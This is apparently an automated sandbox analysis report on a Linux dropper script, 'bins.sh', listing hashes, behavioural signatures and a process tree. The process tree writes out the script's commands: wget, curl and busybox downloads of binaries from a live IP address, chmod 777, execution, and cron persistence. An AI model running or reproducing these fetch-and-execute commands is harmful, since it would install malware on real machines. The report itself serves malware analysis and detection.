Analysis
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max time kernel
149s -
max time network
150s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
09-11-2024 18:41
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
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Target
bins.sh
-
Size
10KB
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MD5
1bff584999b22d9de46e6deaafea9275
-
SHA1
efd709e5f86dd46ec4ec77ba703a641fbbbc5b6c
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SHA256
4096659489b539ac00df12c2c960bb1c87cd7b1998118c549a4466cccb969e15
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SHA512
e50cd035449bac71d40281310f9e20c6f8fa30bc7b586b890918eb8481c6e1dca4853d3353e0c54d9674f7040941278b65c9969ff25bb74473ca756099d8f8cc
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SSDEEP
192:HImmkdESJRVe2tmuUUaTKamuUWJRVCmmkds:HImmkdESJRc2LaTKeJRkmmkds
Malware Config
Signatures
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Contacts a large (2087) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 4 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodchmodchmodchmodpid process 1508 chmod 1515 chmod 1522 chmod 1529 chmod -
Executes dropped EXE 4 IoCs
Processes:
CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYVr08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAqgw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9JYbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXfioc pid process /tmp/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV 1509 CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV /tmp/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq 1516 r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq /tmp/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J 1523 gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J /tmp/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf 1530 YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf -
Renames itself 1 IoCs
Processes:
YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXfpid process 1531 YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc process File opened for modification /var/spool/cron/crontabs/tmp.avpMpo crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Processes:
YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXfdescription ioc process File opened for reading /proc/165/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1144/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1714/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1718/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1730/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1842/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1874/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/515/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1255/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1651/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1623/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1665/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1698/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1726/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1829/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/982/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1180/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1607/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1761/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1800/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1834/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/408/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/676/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1312/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1561/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1580/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1619/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1788/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1848/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1807/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/11/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/450/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1183/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1141/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1614/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1791/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/115/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/529/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1182/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1739/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1556/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1588/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1664/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1671/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1691/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1771/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1825/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/4/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/758/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1678/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1680/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1773/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1831/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1865/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1770/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1802/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1810/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/989/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/477/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/674/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1548/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1609/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/1838/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf File opened for reading /proc/552/cmdline YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf -
Writes file to tmp directory 12 IoCs
Malware often drops required files in the /tmp directory.
Processes:
curlbusyboxbusyboxwgetwgetcurlwgetwgetcurlcurlbusyboxbusyboxdescription ioc process File opened for modification /tmp/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J curl File opened for modification /tmp/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J busybox File opened for modification /tmp/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf busybox File opened for modification /tmp/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV wget File opened for modification /tmp/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq wget File opened for modification /tmp/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq curl File opened for modification /tmp/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J wget File opened for modification /tmp/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf wget File opened for modification /tmp/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf curl File opened for modification /tmp/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV curl File opened for modification /tmp/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV busybox File opened for modification /tmp/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:1493
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/bin/rm/bin/rm bins.sh2⤵PID:1494
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/usr/bin/wgetwget http://216.126.231.240/bins/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV2⤵
- Writes file to tmp directory
PID:1495 -
/usr/bin/curlcurl -O http://216.126.231.240/bins/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV2⤵
- Writes file to tmp directory
PID:1506 -
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV2⤵
- Writes file to tmp directory
PID:1507 -
/bin/chmodchmod 777 CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV2⤵
- File and Directory Permissions Modification
PID:1508 -
/tmp/CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV./CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV2⤵
- Executes dropped EXE
PID:1509 -
/bin/rmrm CPYiMjs0Zzds0V5HEClwJlxpgei5HD5CYV2⤵PID:1511
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/usr/bin/wgetwget http://216.126.231.240/bins/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq2⤵
- Writes file to tmp directory
PID:1512 -
/usr/bin/curlcurl -O http://216.126.231.240/bins/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq2⤵
- Writes file to tmp directory
PID:1513 -
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq2⤵
- Writes file to tmp directory
PID:1514 -
/bin/chmodchmod 777 r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq2⤵
- File and Directory Permissions Modification
PID:1515 -
/tmp/r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq./r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq2⤵
- Executes dropped EXE
PID:1516 -
/bin/rmrm r08YRx5AMJVQMmdbCM75UVt0H3zKz1SlAq2⤵PID:1518
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/usr/bin/wgetwget http://216.126.231.240/bins/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J2⤵
- Writes file to tmp directory
PID:1519 -
/usr/bin/curlcurl -O http://216.126.231.240/bins/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J2⤵
- Writes file to tmp directory
PID:1520 -
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J2⤵
- Writes file to tmp directory
PID:1521 -
/bin/chmodchmod 777 gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J2⤵
- File and Directory Permissions Modification
PID:1522 -
/tmp/gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J./gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J2⤵
- Executes dropped EXE
PID:1523 -
/bin/rmrm gw1rjn82ShcJnmpMcYW8xQZb9IFLP72C9J2⤵PID:1525
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/usr/bin/wgetwget http://216.126.231.240/bins/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf2⤵
- Writes file to tmp directory
PID:1526 -
/usr/bin/curlcurl -O http://216.126.231.240/bins/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf2⤵
- Writes file to tmp directory
PID:1527 -
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf2⤵
- Writes file to tmp directory
PID:1528 -
/bin/chmodchmod 777 YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf2⤵
- File and Directory Permissions Modification
PID:1529 -
/tmp/YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf./YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1530 -
/bin/shsh -c "crontab -l"3⤵PID:1532
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/usr/bin/crontabcrontab -l4⤵PID:1533
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/bin/shsh -c "crontab -"3⤵PID:1534
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1535 -
/bin/rmrm YbCk7IShXVoujWPhkwhJZl6NH3uy9HvEXf2⤵PID:1537
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/usr/bin/wgetwget http://216.126.231.240/bins/qFwdowEPB1QNxuZH8lsMzTBu4ozIDMzLvq2⤵PID:1540
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
-
Filesize
177KB
MD5786d75a158fe731feca3880f436082c0
SHA179ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA2565fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
SHA5127984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
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Filesize
112KB
MD505d7857dcead18bbd86d2935f591873c
SHA134d18f41ef35f93d5364ce3e24d74730a4e91985
SHA2562cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
SHA512d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
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Filesize
122KB
MD5cd3d4b9c643e5b473fb4d88ed05f0716
SHA164ee7a97418583d759eaea8000890cc3bae1b5f4
SHA2560cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
SHA512164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
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Filesize
151KB
MD53c90d5820bddcf7c5d1bd21dfa49d958
SHA15ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA256bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
SHA51254a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
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Filesize
210B
MD5c9f0c0eeebe0f71a02853cbc1788fa3b
SHA1ddcc8cd2a98f52f6b1633f08d636373cb389a130
SHA256f94c967b00f17c4da50e4963efb7f685e67ceba3467e4b93cb6b1c007d3925c6
SHA512c63af4c7f3221543e673a802ef3f1839f1036dba6ac3282b336ef0ca252c9af86aa70d88212e54d2825b5e05f253ea8f26163112f79ccdd8f33b7475302b5de0